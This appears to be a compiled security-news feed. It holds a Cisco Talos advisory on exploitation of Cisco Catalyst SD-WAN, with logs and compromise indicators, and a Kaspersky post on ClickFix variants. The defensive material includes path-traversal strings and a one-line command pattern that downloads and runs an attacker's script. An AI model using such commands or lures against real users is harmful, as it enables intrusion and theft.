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Active exploitation of Cisco Catalyst SD-WAN by UAT-8616

Active exploitation of Cisco Catalyst SD-WAN by UAT-8616

Cisco Talos is tracking the active exploitation of CVE-2026-20127, a vulnerability in Cisco Catalyst SD-WAN Controller, formerly vSmart, that allows an unauthenticated remote attacker to bypass authentication and obtain administrative privileges on the affected system by sending a crafted request to an affected system. Successful exploitation may allow the attacker to gain administrative privileges on the Controller as an internal, high privileged, non-root, user account.

Talos clusters this exploitation and subsequent post-compromise activity as “UAT-8616” whom we assess with high confidence is a highly sophisticated cyber threat actor. After the discovery of active exploitation of the 0-day in the wild, we were able to find evidence that the malicious activity went back at least three years (2023). Investigation conducted by intelligence partners identified that the actor likely escalated to root user via a software version downgrade. The actor then reportedly exploited CVE-2022-20775 before restoring back to the original software version, effectively allowing them to gain root access.

UAT-8616’s attempted exploitation indicates a continuing trend of the targeting of network edge devices by cyber threat actors looking to establish persistent footholds into high value organizations including Critical Infrastructure (CI) sectors.

Customers are strongly advised to follow the guidance published in the security advisories discussed below. Additional recommendations specific to Cisco are available here. Customers support is also available by initiating a TAC request.  Talos strongly recommends that customers and partners using Cisco Catalyst SD-WAN technology follow the steps outlined in this advisory to help protect their environments.


Initial Peering Event Analysis

The initial and most critical activity to look for is any control connection peering event identified in Cisco Catalyst SD-WAN logs, as this may indicate an attempt at initial access via CVE-2026-20127. All such peering events require manual validation to confirm their legitimacy, with particular focus on vManage peering types. Threat actors who compromise Cisco Catalyst SD-WAN infrastructure often establish unauthorized peer connections that may appear superficially normal but occur at unexpected times, originate from unrecognized IP addresses, or involve device types inconsistent with the environment’s architecture. A comprehensive review process is essential to distinguish between legitimate network operations and potential indicators of compromise.

Validation Checklist Items Include

  • Verify the timestamp of each peering event against known maintenance windows, scheduled configuration changes, and normal operational hours for your environment.
  • Confirm the public IP address corresponds to infrastructure owned or operated by your organization or authorized partners by cross-referencing against asset inventories and authorized IP ranges.
  • Validate the peer system IP matches documented device assignments within your Cisco Catalyst SD-WAN topology.
  • Review the peer type (vmanage, vsmart, vedge, vbond) to ensure it aligns with expected device roles in your deployment.
  • Correlate multiple events from the same source IP or system IP to identify patterns of reconnaissance or persistent access attempts.
  • Cross-reference event timing with authentication logs, change management records, and user activity to establish whether the connection was initiated by authorized personnel.

Sample Log Entry

Feb 20 22:03:33 vSmart-01 VDAEMON_0[2571]: %Viptela-vSmart-VDAEMON_0-5-NTCE-1000001: control-connection-state-change new-state:up peer-type:vmanage peer-system-ip:1.1.1.10 public-ip:192.168.3.20 public-port:12345 domain-id:1 site-id:1005 

Log Analysis

In the identified example, the peer-system-ip should be validated as matching the expected IP address schema in-use, the timestamp should be validated as matching any events which might cause a peering event to occur and the public-ip should be validated as being an expected source for a peering event.

Additional Investigative Guidance

The following may be high-fidelity indicators of a successful compromise by UAT-8616 in an SD-WAN infrastructure setup:

  • Creation, usage and deletion of malicious user accounts including otherwise absent bash_history and cli-history.
  • Interactive root sessions on production systems including unaccounted SSH keys, known hosts and bash history. For example:
    • Notification: system-login-change severity-level:minor host-name:”<node_name>” system-ip:<IP> user-name:””root””
    • SSH Keys in: /home/root/.ssh/authorized_keys with “PermitRootLogin” set to “yes” in /etc/ssh/sshd_config
    • Known hosts in: /home/root/.ssh/known_hosts
  • Unauthorized or unaccounted SSH keys (“authorized_keys”) for the “vmanage-admin” account: /home/vmanage-admin/.ssh/authorized_keys/
  • Abnormally small logs including absent or size 0/1/2 byte logs.
  • Evidence of log and history clearing or truncation including:
    • syslog
    • wtmp
    • lastlog
    • cli-history
    • bash_history
    • Logs residing in /var/log/
  • Presence of cli-history file for a user without the bash history.
  • Indications of unexplained peers being dropped or added to the environment.
  • Unexpected and unauthorized version downgrades and upgrades accompanied by a system reboot. For example (log entries):
    • Waiting for upgrade confirmation from user. Device will revert to previous software version <version> in ‘100’ seconds unless confirmed.
    • Software upgrade not confirmed. Reverting to previous software version
  • Evidence of exploitation of CVE-2022-20775 such as specially crafted username path traversal string (E.g. “/../../” or “/n&../n&../”).

Recommendations

We strongly recommend that you perform the steps outlined in this document. Cisco has also published a hardening guide for Cisco Catalyst SD-WAN deployments located at https://sec.cloudapps.cisco.com/security/center/resources/Cisco-Catalyst-SD-WAN-HardeningGuide. It is strongly recommended that any customers who are utilizing the Cisco Catalyst SD-WAN technology follow the guidance provided in this hardening guide. We also recommend referring to advisories here and here and the Cisco Catalyst SD-WAN threat hunting guide released by our intelligence partners for additional detection guidance.

Talos Coverage

Talos is releasing the following Snort coverage for this threat and associated vulnerability:

  • 65938, 65958

Cisco Talos Blog – ​Read More

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Google Disrupts Chinese Cyberespionage Campaign Targeting Telecoms, Governments

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The post Google Disrupts Chinese Cyberespionage Campaign Targeting Telecoms, Governments appeared first on SecurityWeek.

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Variations of the ClickFix | Kaspersky official blog

About a year ago, we published a post about the ClickFix technique, which was gaining popularity among attackers. The essence of attacks using ClickFix boils down to convincing the victim, under various pretexts, to run a malicious command on their computer. That is, from the cybersecurity solutions point of view, it’s run on behalf of the active user and with their privileges.

In early uses of this technique, cybercriminals tried to convince victims that they need to execute a command to fix some problem or to pass a captcha, and in the vast majority of cases, the malicious command was a PowerShell script. However, since then, attackers have come up with a number of new tricks that users should be warned about, as well as a number of new variants of malicious payload delivery, which are also worth keeping an eye on.

Use of mshta.exe

Last year, Microsoft experts published a report on cyberattacks targeting hotel owners working with Booking.com. The attackers sent out fake notifications from the service, or emails pretending to be from guests drawing attention to a review. In both cases, the email contained a link to a website imitating Booking.com, which asked the victim to prove that they were not a robot by running a code via the Run menu.

There are two key differences between this attack and ClickFix. First, the user isn’t asked to copy the string (after all, a string with code sometimes arouses suspicion). It’s copied to the exchange buffer by the malicious site – probably when the user clicks on a checkbox that mimics the reCAPTCHA mechanism. Second, the malicious string calls the legitimate mshta.exe utility, which serves to run applications written in HTML. It contacts the attackers’ server and executes the malicious payload.

Video on TikTok and PowerShell with administrator privileges

BleepingComputer published an article in October 2025 about a campaign spreading malware through instructions in TikTok videos. The videos themselves imitate video tutorials on how to activate proprietary software for free. The advice they give boils down to a need to run PowerShell with administrator rights and then execute the command iex (irm {address}). Here, the irm command downloads a malicious script from a server controlled by attackers, and the iex (Invoke-Expression) command runs it. The script, in turn, downloads an infostealer malware to the victim’s computer.

Using the Finger protocol

Another unusual variant of the ClickFix attack uses the familiar captcha trick, but the malicious script uses the outdated Finger protocol. The utility of the same name allows anyone to request data about a specific user on a remote server. The protocol is rarely used nowadays, but it is still supported by Windows, macOS, and a number of Linux-based systems.

The user is persuaded to open the command line interface and use it to run a command that establishes a connection via the Finger protocol (using TCP port 79) with the attackers’ server. The protocol only transfers text information, but this is enough to download another script to the victim’s computer, which then installs the malware.

CrashFix variant

Another variant of ClickFix differs in that it uses more sophisticated social engineering. It was used in an attack on users trying to find a tool to block advertising banners, trackers, malware, and other unwanted content on web pages. When searching for a suitable extension for Google Chrome, victims found something called NexShield – Advanced Web Guardian, which was in fact a clone of real working software, but which at some point crashed the browser and displayed a fake notification about a detected security problem and the need to run a “scan” to fix the error. If the user agreed, they received instructions on how to open the Run menu and execute a command that the extension had previously copied to the clipboard.

The command copied the familiar finger.exe file to a temporary directory, renamed it ct.exe, and then launched it with the attacker’s address. The rest of the attack was the same as in the abovementioned case. In response to the Finger protocol request, a malicious script was delivered, which launched and installed a remote access Trojan (in this case, ModeloRAT).

Malware delivery via DNS lookup

The Microsoft Threat Intelligence team also shared a slightly more complex than usual ClickFix attack variant. Unfortunately, they didn’t describe the social engineering trick, but the method of delivering the malicious payload is quite interesting. Probably in order to complicate detection of the attack in a corporate environment and prolong the life of the malicious infrastructure, the attackers used an additional step: contacting a DNS server controlled by the attackers.

That is, after the victim is somehow persuaded to copy and execute a malicious command, a request is sent to the DNS server on behalf of the user via the legitimate nslookup utility, requesting data for the example.com domain. The command contained the address of a specific DNS server controlled by the attackers. It returns a response that, among other things, returned a string with malicious script, which in turn downloads the final payload (in this attack, ModeloRAT again).

Cryptocurrency bait and JavaScript as payload

The next attack variant is interesting for its multi-stage social engineering. In comments on Pastebin, attackers actively spread a message about an alleged flaw in the Swapzone.io cryptocurrency exchange service. Cryptocurrency owners were invited to visit a resource created by fraudsters, which contained full instructions on how to exploit this flaw, which can make up to $13,000 in a couple of days.

The instructions explain how the service’s flaws can be exploited to exchange cryptocurrency at a more favorable rate. To do this, a victim needs to open the service’s website in the Chrome browser, manually type “javascript:” in the address bar, and then paste the JavaScript script copied from the attackers’ website and execute it. In reality, of course, the script cannot affect exchange rates in any way; it simply replaces Bitcoin wallet addresses and, if the victim actually tries to exchange something, transfers the funds to the attackers’ accounts.

How to protect your company from ClickFix attacks

The simplest attacks using the ClickFix technique can be countered by blocking the [Win] + [R] key combination on work devices. But, as we see from the examples listed, this is far from the only type of attack in which users are asked to run malicious code themselves.

Therefore, the main advice is to raise employee cybersecurity awareness. They must clearly understand that if someone asks them to perform any unusual manipulations with the system, and/or copy and paste code somewhere, then in most cases this is a trick used by cybercriminals. Security awareness training can be organized using the Kaspersky Automated Security Awareness Platform.

In addition, to protect against such cyberattacks, we recommend:

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